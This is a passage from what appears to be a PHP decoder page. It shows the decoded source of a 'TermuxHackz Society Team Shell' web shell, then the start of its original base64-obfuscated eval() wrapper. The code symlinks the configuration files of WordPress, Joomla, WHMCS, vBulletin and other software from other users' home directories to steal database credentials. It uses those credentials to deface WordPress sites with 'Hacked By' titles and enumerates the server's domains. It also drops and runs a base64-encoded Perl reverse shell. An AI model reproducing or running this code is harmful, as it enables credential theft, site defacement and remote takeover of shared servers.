@symlink(\'/home4/\' . $user . \'/public_html/test/wp-config.php\', $user . \'-wp-test.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/arcade/functions/dbclass.php\', $user . \'-ibproarcade.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/arcade/functions/dbclass.php\', $user . \'-ibproarcade.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/joomla/configuration.php\', $user . \'-joomla2.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/protal/configuration.php\', $user . \'-joomla-protal.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/joo/configuration.php\', $user . \'-joo.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/cms/configuration.php\', $user . \'-joomla-cms.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/site/configuration.php\', $user . \'-joomla-site.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/main/configuration.php\', $user . \'-joomla-main.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/news/configuration.php\', $user . \'-joomla-news.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/new/configuration.php\', $user . \'-joomla-new.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/home4/configuration.php\', $user . \'-joomla-home4.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/vb/includes/config.php\', $user . \'-vb-config.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/vb3/includes/config.php\', $user . \'-vb3-config.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/cc/includes/config.php\', $user . \'-vb1-config.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/includes/config.php\', $user . \'-includes-vb.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/forum/includes/class_core.php\', $user . \'-vbluttin-class_core.php.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/vb/includes/class_core.php\', $user . \'-vbluttin-class_core.php1.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/cc/includes/class_core.php\', $user . \'-vbluttin-class_core.php2.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/configuration.php\', $user . \'-joomla.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/includes/dist-configure.php\', $user . \'-zencart.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/zencart/includes/dist-configure.php\', $user . \'-shop-zencart.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/shop/includes/dist-configure.php\', $user . \'-shop-ZCshop.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/Settings.php\', $user . \'-smf.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/smf/Settings.php\', $user . \'-smf2.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/forum/Settings.php\', $user . \'-smf-forum.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/forums/Settings.php\', $user . \'-smf-forums.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/upload/includes/config.php\', $user . \'-up.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/article/config.php\', $user . \'-Nwahy.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/up/includes/config.php\', $user . \'-up2.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/conf_global.php\', $user . \'-6.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/include/db.php\', $user . \'-7.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/connect.php\', $user . \'-PHP-Fusion.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/mk_conf.php\', $user . \'-9.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/includes/config.php\', $user . \'-traidnt1.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/config.php\', $user . \'-4images.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/sites/default/settings.php\', $user . \'-Drupal.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/member/configuration.php\', $user . \'-1member.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/supports/includes/iso4217.php\', $user . \'-hostbills-supports.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/client/includes/iso4217.php\', $user . \'-hostbills-client.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/support/includes/iso4217.php\', $user . \'-hostbills-support.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/billing/includes/iso4217.php\', $user . \'-hostbills-billing.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/billings/includes/iso4217.php\', $user . \'-hostbills-billings.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/host/includes/iso4217.php\', $user . \'-hostbills-host.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/hosts/includes/iso4217.php\', $user . \'-hostbills-hosts.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/hosting/includes/iso4217.php\', $user . \'-hostbills-hosting.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/hostings/includes/iso4217.php\', $user . \'-hostbills-hostings.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/includes/iso4217.php\', $user . \'-hostbills.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/hostbills/includes/iso4217.php\', $user . \'-hostbills-hostbills.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/hostbill/includes/iso4217.php\', $user . \'-hostbills-hostbill.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/cart/configuration.php\', $user . \'-cart-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/hosting/configuration.php\', $user . \'-hosting-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/buy/configuration.php\', $user . \'-buy-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/checkout/configuration.php\', $user . \'-checkout-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/host/configuration.php\', $user . \'-host-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/shop/configuration.php\', $user . \'-shop-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/shopping/configuration.php\', $user . \'-shopping-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/sale/configuration.php\', $user . \'-sale-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/client/configuration.php\', $user . \'-client-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/support/configuration.php\', $user . \'-support-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/clientsupport/configuration.php\', $user . \'-clientsupport-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/whm/whmcs/configuration.php\', $user . \'-whm-whmcs.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/whm/WHMCS/configuration.php\', $user . \'-whm-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/whmc/WHM/configuration.php\', $user . \'-whmc-WHM.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/whmcs/configuration.php\', $user . \'-whmc-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/supp/configuration.php\', $user . \'-supp-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/secure/configuration.php\', $user . \'-sucure-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/secure/whm/configuration.php\', $user . \'-sucure-whm-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/secure/whmcs/configuration.php\', $user . \'-sucure-whmcs-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/panel/configuration.php\', $user . \'-panel-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/hosts/configuration.php\', $user . \'-hosts-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/submitticket.php\', $user . \'-submitticket-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/clients/configuration.php\', $user . \'-clients-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/clientes/configuration.php\', $user . \'-clientes-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/cliente/configuration.php\', $user . \'-client-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/billing/configuration.php\', $user . \'-billing-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/manage/configuration.php\', $user . \'-whm-manage-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/my/configuration.php\', $user . \'-whm-my-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/myshop/configuration.php\', $user . \'-whm-myshop-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/billings/configuration.php\', $user . \'-billings-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/supports/configuration.php\', $user . \'-supports-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/auto/configuration.php\', $user . \'-auto-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/go/configuration.php\', $user . \'-go-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/\' . $user . \'/configuration.php\', $user . \'-USERNAME-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/bill/configuration.php\', $user . \'-bill-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/payment/configuration.php\', $user . \'-payment-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/pay/configuration.php\', $user . \'-pay-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/purchase/configuration.php\', $user . \'-purchase-WHMCS.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/db.php\', $user . \'-normal\');
@symlink(\'/home4/\' . $user . \'/public_html/conect_to_mysql.php\', $user . \'-autobuy\');
@symlink(\'/home4/\' . $user . \'/public_html/connect.php\', $user . \'-normal\');
@symlink(\'/home4/\' . $user . \'/public_html/admin/connect.php\', $user . \'-normal\');
@symlink(\'/home4/\' . $user . \'/public_html/include/connect.php\', $user . \'-normal\');
@symlink(\'/home4/\' . $user . \'/public_html/wp-admin/connect.php\', $user . \'-normal\');
@symlink(\'/home4/\' . $user . \'/public_html/wp-admin/config.php\', $user . \'-normal\');
@symlink(\'/home4/\' . $user . \'/public_html/wp-admin/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home4/\' . $user . \'/public_html/admin/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home4/\' . $user . \'/public_html/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home4/\' . $user . \'/public_html/admin/connection.php\', $user . \'-normal\');
    }
    echo \'<b class="cone"><br><br><center><font face="Tahoma" color="LawnGreen" size="2pt"><b>Congratulation ==>> </b> <a target="_blank" href="UeXploiT"><font color="LawnGreen" size="2pt">Config list</a></font></b>\';
} }
                        }
                ?>

                <?php
                        if (isset($_GET[\'wp_title\'])) {
                                $dir = getcwd();
                                        function ambilKata($param, $kata1, $kata2){
                                            if(strpos($param, $kata1) === FALSE) return FALSE;
                                            if(strpos($param, $kata2) === FALSE) return FALSE;
                                            $start = strpos($param, $kata1) + strlen($kata1);
                                            $end = strpos($param, $kata2, $start);
                                            $return = substr($param, $start, $end - $start);
                                            return $return;
                                        }
                                        echo "<center>
                                        <br><br>
                                        <h1 class=def style=\'font-size:180%; color: lawngreen;\'>Wordpress Title Changer</h1>
                                        <form method=\'post\'>
                                        <span class=def>Config Dir:
                                        <input type=\'text\' size=\'50\' style=\'width: 450px;\' name=\'config_dir\' value=\'$dir\'><br><br>
                                        <span class=def>Title:
                                        <input type=\'text\' name=\'new_title\' style=\'width: 300px;\' value=\'Hacked By \' placeholder=\'New Title\'><br><br>
                                        <input type=\'submit\' name=\'hajar\' value=\'Start\' style=\'width: 300px;\'><br>
                                        </form><br>";
                                                if($_POST[\'hajar\']) {
                                                        $title = htmlspecialchars($_POST[\'new_title\']);
                                                        $pn_title = str_replace(" ", "-", $title);
                                                        $script = $title;
                                                        $conf = $_POST[\'config_dir\'];
                                                        $scan_conf = scandir($conf);
                                                foreach($scan_conf as $file_conf) {
                                                        if(!is_file("$conf/$file_conf")) continue;
                                                        $config = file_get_contents("$conf/$file_conf");
                                                        if(preg_match("/WordPress/", $config)) {
                                                                $dbhost = ambilkata($config,"DB_HOST\', \'","\'");
                                                                $dbuser = ambilkata($config,"DB_USER\', \'","\'");
                                                                $dbpass = ambilkata($config,"DB_PASSWORD\', \'","\'");
                                                                $dbname = ambilkata($config,"DB_NAME\', \'","\'");
                                                                $dbprefix = ambilkata($config,"table_prefix  = \'","\'");
                                                                $prefix = $dbprefix."posts";
                                                                $option = $dbprefix."options";
                                                                $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                                                                $db = mysql_select_db($dbname);
                                                                $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
                                                                $result = mysql_fetch_array($q);
                                                                $id = $result[ID];
                                                                $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                                                                $result2 = mysql_fetch_array($q2);
                                                                $target = $result2[option_value];
                                                                $update = mysql_query("UPDATE $prefix SET post_title=\'$title\',post_content=\'$script\',post_name=\'$pn_title\',post_status=\'publish\',comment_status=\'open\',ping_status=\'open\',post_type=\'post\',comment_count=\'1\' WHERE id=\'$id\'");
                                                                $update .= mysql_query("UPDATE $option SET option_value=\'$title\' WHERE option_name=\'blogname\' OR option_name=\'blogdescription\'");
                                                                echo "<div style=\'margin: 5px auto;\'>";
                                                                if($target == \'\') {
                                                                        echo "<font color=red>There Was a Error While Doing The Task</font>";
                                                                } else {
                                                                        echo "<a href=\'$target/".$pn_title."\' target=\'_blank\'><font color=\'lawngreen\'>$target/$pn_title</font></a>";
                                                                }
                                                                if(!$update OR !$conn OR !$db) {
                                                                        echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
                                                                } else {
                                                                        echo "<font color=lime></font><br>";
                                                                }
                                                                echo "</div>";
                                                                mysql_close($conn);
                                                }
                                        }
                                }
                        }
                ?>
                <font style="color: white; font-family: cursive; font-size: 100%;">
                <?php
                        if (isset($_GET[\'domains\'])) {
                                if(strtolower(substr(PHP_OS,0,3)) == "win") {
                                        $os = \'win\';
                                        }       else {
                                                        $os = \'nix\';
                                        }

                                        if ($os == \'win\') {
                                        ?>
                                <center><br><br>
                                        <font style="color: white; font-family: cursive; font-size: 200%;">Ooopppss Windows Server :P<br>You Better Find Linux Haha :P </font>
                                </center><?php
                        }
                        else {
                                $file = @implode(@file("/etc/named.conf"));
                                $Domain_path = "/var/named";
                                if (!$file) {
                                $domains = scandir($Domain_path);
                                $count=1;
                                $dc = 0;
                                 echo "<table align=center border=1 width=59% cellpadding=5>
                                <tr><td colspan=2><center>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.</center></td></tr>
                                <tr><td>No</td><td>Domains</td><td>User</td></tr>";
                                foreach ($domains as &$domain) {
                                    if (stripos($domain,".db")) {
                                    $domain = str_replace(\'.db\',\'\',$domain);

                                    }
                                    if (strlen($domain) > 6) {

                                        echo "<tr><td><a href=\'http://".$domain."\' target=\'_blank\'>".\'http://\'.$domain.\'/index.php\'."</a></td><td></td></tr>";
                                    }
                                }
                                    echo "</table>";
                                } else{
                                $count = 1;
                                preg_match_all("#named/(.*?).db#", $file, $r);
                                $domains = array_unique($r[1]);
                                echo "<table align=center border=1 width=59% cellpadding=5>
                                <tr><td colspan=2> There are  ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
                                <tr><td>Domains";
                                foreach ($domains as $domain) {
                                $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
                                echo "<tr><td><a href=\'http://".$domain."\' target=\'_blank\'>".\'http://\'.$domain.\'/index.php\'."</a></td><td></td></tr>";
                                        }
                                        }
                                }
                        }
                ?>
                <?php
                        if (isset($_GET[\'back_connecter\'])) {
                                $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
                                echo "<center><br><br><form name=\'nfp\' onSubmit=\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\" method=\'POST\'><span style=\'font-family: cursive; font-size: 200%; color: white;\'>Back-Connecter Via Perl</span><br/><br>Your Ip: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'><br><br> Port to bind: <input type=\'text\' name=\'port\' value=\'110\'><br><br><input type=submit name=\'backconnect\' value=\'Submit\'></form><br>";
                                if(isset($_POST[\'backconnect\'])) {
                                        function cf($f,$t) {
                                                $w = @fopen($f,"w") or @function_exists(\'file_put_contents\');
                                                if($w){
                                                        @fwrite($w,base64_decode($t));
                                                        @fclose($w);
                                        }
                                }
                                function termuxhackz($in) {
                                        $out = \'\';
                                        if (function_exists(\'exec\')) {
                                                @exec($in,$out);
                                                $out = @join("
",$out);
                                        } elseif (function_exists(\'passthru\')) {
                                                ob_start();
                                                @passthru($in);
                                                $out = ob_get_clean();
                                        } elseif (function_exists(\'system\')) {
                                                ob_start();
                                                @system($in);
                                                $out = ob_get_clean();
                                        } elseif (function_exists(\'shell_exec\')) {
                                                $out = shell_exec($in);
                                        } elseif (is_resource($f = @popen($in,"r"))) {
                                                $out = "";
                                                while(!@feof($f))
                                                        $out .= fread($f,1024);
                                                pclose($f);
                                        }
                                        return $out;
                                }

                                if($_POST[\'backconnect\']) {
                                        cf("/tmp/bc.pl",$back_connect_p);
                                        $out = termuxhackz("perl /tmp/bc.pl ".$_POST[\'server\']." ".$_POST[\'port\']." 1>/dev/null 2>&1 &");
                        sleep(1);
                                        echo "<pre class=ml1>$out
". termuxhackz("ps aux | grep bc.pl")."</pre>";
                        unlink("/tmp/bc.pl");
                                        }
                                }
                        }
                ?>
                <?php
                        if (isset($_GET[\'die\'])) {
                                ?>
                                        <form action="" method="POST"><center><br><br>
                                                <font style="color: red; font-family: cursive; font-size: 200%;">You Sure ?</font><br><br><input type="submit" name="fuckoff" value="Yes" />&nbsp;&nbsp<input type="submit" name="dontfuckoff" value="No" />
                                        </form>
                                <?php

                                if (isset($_POST[\'fuckoff\'])) {
                                        if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__))) {
                                                die(\'<font style="color: red; font-family: cursive; font-size: 200%;"><br><br>You <span style="color: teal;">Deleted</span> Me :3 <br> Now <span style="color: lawngreen;">Fuck </span>Off Outta here:V<br>\');}
                                }
                        }
                        if(isset($_POST[\'dontfuckoff\'])) {
                          echo \'<font color="red" face="cursive" size="6";><br><br>Cancelled!!!<br><br></font>\';
                        }
                ?>
                </div>
                <br>
                	<?php
                	echo \'
                <style>
                .rotate {
                  animation: rotation 8s infinite linear;
                  margin: 0;
                }
                @keyframes rotation {
                  from {
                    transform: rotate(0deg);
                  }
                  to {
                    transform: rotate(359deg);
                  }
                }
                footer {
                font-family: monospace;
                letter-spacing: 1px;
                font-size: 15px;} 
                </style>
                \';
                ?>
                <footer>
                <?php
                echo \'<center>\';
                $footers = \'PHA+PG1hcnF1ZWUgY2xhc3M9ImxldHRlciIgd2lkdGg9IjgwJSI+fEFOT05ZTUlOSEFDSzV8ICogfFZFTlVTX0hBWE9SfCAqIHxBTk9OVEVNSVRBWU98ICogfFNQSURFUnwgKiB8RDNDUllQVE9SfDwvbWFycXVlZT48L3A+IA==\';
                echo base64_decode($footers);
                echo \'</center>\';
                ?>
                <!--
                <?php
                $rotating = \'ICA8aW1nIHNyYz0iaHR0cHM6Ly9paWxpLmlvL1lwcXpXZy5wbmciIGNsYXNzPSJyb3RhdGUiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIi8+\';
                echo base64_decode($rotating);
                 ?>
                 	-->
                <?php
                echo \'<center>\';
                $semi_circle = \'PGRpdiBjbGFzcz0ic2VtaS1jaXJjbGUiPjxicj5UaHMxMzM1IDxicj5WZXJzaW9uOjxmb250IGNvbG9yPSJyZWQiPjEuMDwvZm9udD48L2Rpdj4=\';
                echo base64_decode($semi_circle);
                echo \'</center>\';
                ?>
              </footer>

        </body>
</html><!--[tpsize=7][/tpsize] -->
'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCiRoZWFkZXIgPSAnPCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCiAgICAgICAgPGhlYWQ+JzsNCiAgICAgICAgZWNobyAkaGVhZGVyOw0KICAgICAgICA/Pg0KICAgICAgICAJPD9waHANCiAgICAgICAgCSRpcEFkZHJlc3MgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCiAgICAgICAgCSR0aXRsZSA9ICgiPHRpdGxlPiRpcEFkZHJlc3MgW1Rlcm11eEhhY2t6IFNvY2lldHkgVGVhbSBTaGVsbF0tLTwvdGl0bGU+Iik7DQogICAgICAgIAllY2hvICR0aXRsZTsNCiAgICAgICAgCT8+DQogICAgICAgIAkJPD9waHANCiAgICAgICAgCQkkaGVhZF9ib2R5ID0gJw0KICAgICAgICAgICAgICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04IiAvPg0KICAgICAgICAgICAgICAgIDxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJUaGlzIFNoZWxsIGlzIERlc2lnbmVkIEJ5IFRlcm11eEhhY2t6IFNvY2lldHkgVGVhbSBNZW1iZXJzIiAvPg0KICAgICAgICAgICAgICAgIDxub3NjcmlwdD5LaW5kbHkgZW5hYmxlIGphdmFzY3JpcHQgZnJvbSB5b3VyIGJyb3dzZXIgc2V0dGluZ3MgZm9yIHRoaXMgc2hlbGwgdG8gd29yayBwcm9wZXJseSBYRCA6UCA8L25vc2NyaXB0Pg0KICAgICAgICAgICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGggaW5pdGlhbC1zY2FsZT0xLjAsIG1pbmltdW0tc2NhbGU9MS4wLCBtYXhpbXVtLXNjYWxlPTEuMCI+DQogICAgICAgICAgICAgICAgPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iIj48IS0tIEZvciBSZWZyZXNoaW5nIFBhZ2UgQWZ0ZXIgMzYwMCBJbnRlcnZhbHMgb2YgdGltZSAtLT4NCiAgICAgICAgICAgICAgICA8bWV0YSBuYW1lPSJhYm91dCIgY29udGVudD0iVXNlIGl0IHdoZXJlIG90aGVyIHNoZWxscyBkb250IHdvcmssIGJ1dCBpIGJldCBpdCB3aWxsIHdvcmssIGl0IGlzIGNyZWF0ZWQgYnkgVGVybXV4SGFja3ogU29jaWV0eSBUZWFtIE1lbWJlcnMiIC8+DQogICAgICAgICAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTEuOC4yLmpzIj48L3NjcmlwdD4NCiAgICAgICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJ0ZXJtdXhoYWNreiBzb2NpZXR5IiAvPg0KICAgICAgICA8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0idGVybXV4aGFja3ogc29jaWV0eSIgLz4NCiAgICAgICAgICAgICAgICA8bWV0YSBuYW1lPSJyZXZpc2l0LWFmdGVyIiBjb250ZW50PSIxODAwIiAvPg0KICAgICAgICAgICAgICAgIDxtZXRhIG5hbWU9Imxhbmd1YWdlIiBjb250ZW50PSJlbiIgLz4NCiAgICAgICAgICAgICAgICA8bWV0YSBjb250ZW50PSJnZW5lcmFsIiBuYW1lPSJyYXRpbmciIC8+DQogICAgICAgICAgICAgICAgPG1ldGEgY29udGVudD0iZ29vZ2xlIiBuYW1lPSJnZW5lcmF0b3IiIC8+DQogICAgICAgICAgICAgICAgPG1ldGEgY29udGVudD0iZm9sbG93LGFsbCIgbmFtZT0idGVybXV4aGFja3ogYm90IiAvPg0KICAgICAgICAgICAgICAgIDxtZXRhIGNvbnRlbnQ9ImZvbGxvdyxhbGwiIG5hbWU9InRlcm11eGhhY2t6IGJvdCIgLz4NCiAgICAgICAgICAgICAgICA8bWV0YSBjb250ZW50PSJwYWtpc3RhbiwgbmlnZXJpYSwgc291dGggYWZyaWNhIiBuYW1lPSJnZW8ucGxhY2VuYW1lIiAvPg0KICAgICAgICAgICAgICAgIDxtZXRhIGNvbnRlbnQ9ImluZGV4LGZvbGxvdyxhbGwiIG5hbWU9Imdvb2dsZWJvdCIgLz4NCiAgICAgICAgICAgICAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFLWVkZ2UiIC8+DQogICAgICAgICAgICAgICAgPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwczovL2lpbGkuaW8vWXJ3UTViLmpwZyIgLz4NCiAgICAgICAgICAgICAgICA8bGluayByZWw9InByZWNvbm5lY3QiIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20iPg0KPGxpbmsgcmVsPSJwcmVjb25uZWN0IiBocmVmPSJodHRwczovL2ZvbnRzLmdzdGF0aWMuY29tIiBjcm9zc29yaWdpbj4NCjxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9Um9ib3RvK01vbm86d2dodEA3MDAmZGlzcGxheT1zd2FwIiByZWw9InN0eWxlc2hlZXQiPg0KICAgICAgICAgICAgICAgIDxzY3JpcHQ+DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS56b29tID0gMS4wDQogICAgICAgICAgICAgICAgPC9zY3JpcHQ+DQogICAgICAgICAgICAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPg0KICAgIDwhLS0gIzA4MDUxMCAtLT4gIDwhLS0gICNmZjdmMDAgLS0+IDwhLS0gIzAwNTY5NSAtLT48bWV0YSBuYW1lPSJzZWFyY2ggZW5naW5lcyIgY29udGVudD0iQWVpd2ksQWxleGEsQWxsVGhlV2ViLEFsdGFWaXN0YSxBT0xOZXRmaW5kLEFuendlcnMsQ2FuYWRhLERpcmVjdEhpdCxFdXJvU2VlayxFeGNpdGUsT3ZlcnR1cmUsR28sR29vZ2xlLEhvdEJvdCBJbmZvTWFrLEthbm9vZGxlLEx5Y29zLE1hY2hpbmVTaXRlLE5hdGlvbmFsIERpcmVjdG9yeSxOb3J0aGVybiBMaWdodCxTZWFyY2hJdCxTaW1wbGVTZWFyY2gsV2Vic01vc3RMaW5rZWQsV2ViVG9wLFdoYXQtVS1TZWVrLEFPTCxZYWhvbyxXZWJDcmF3bGVyLEluZm9zZWVrLEV4Y2l0ZSxNYWdlbGxhbixMb29rU21hcnQsYmluZyxDTkVULEdvb2dsZWJvdCIgLz4NCiAgICAnOw0KICAgIGVjaG8gJGhlYWRfYm9keTsNCiAgICA/Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGVycm9yX3JlcG9ydGluZygwKTsgPz4NCiAgICAgICAgICAgICAgICAJPD9waHANCiAgICAgICAgICAgICAgICAJJHN0eWxlX2JvZHkgPSAnDQogICAgICAgICAgICAgICAgPHN0eWxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgYm9keSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybCgiaHR0cHM6Ly9paWxpLmlvL2FHS21HOS5qcGciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6ICJSb2JvdG8gTW9ubyIsIG1vbm9zcGFjZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAuaGVhZGluZyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAzMDAlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogc2VyaWY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdHJhbnNpdGlvbjogMC44czsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVzZXItc2VsZWN0OiBub25lOyAvKiBzdXBwb3J0ZWQgYnkgQ2hyb21lIGFu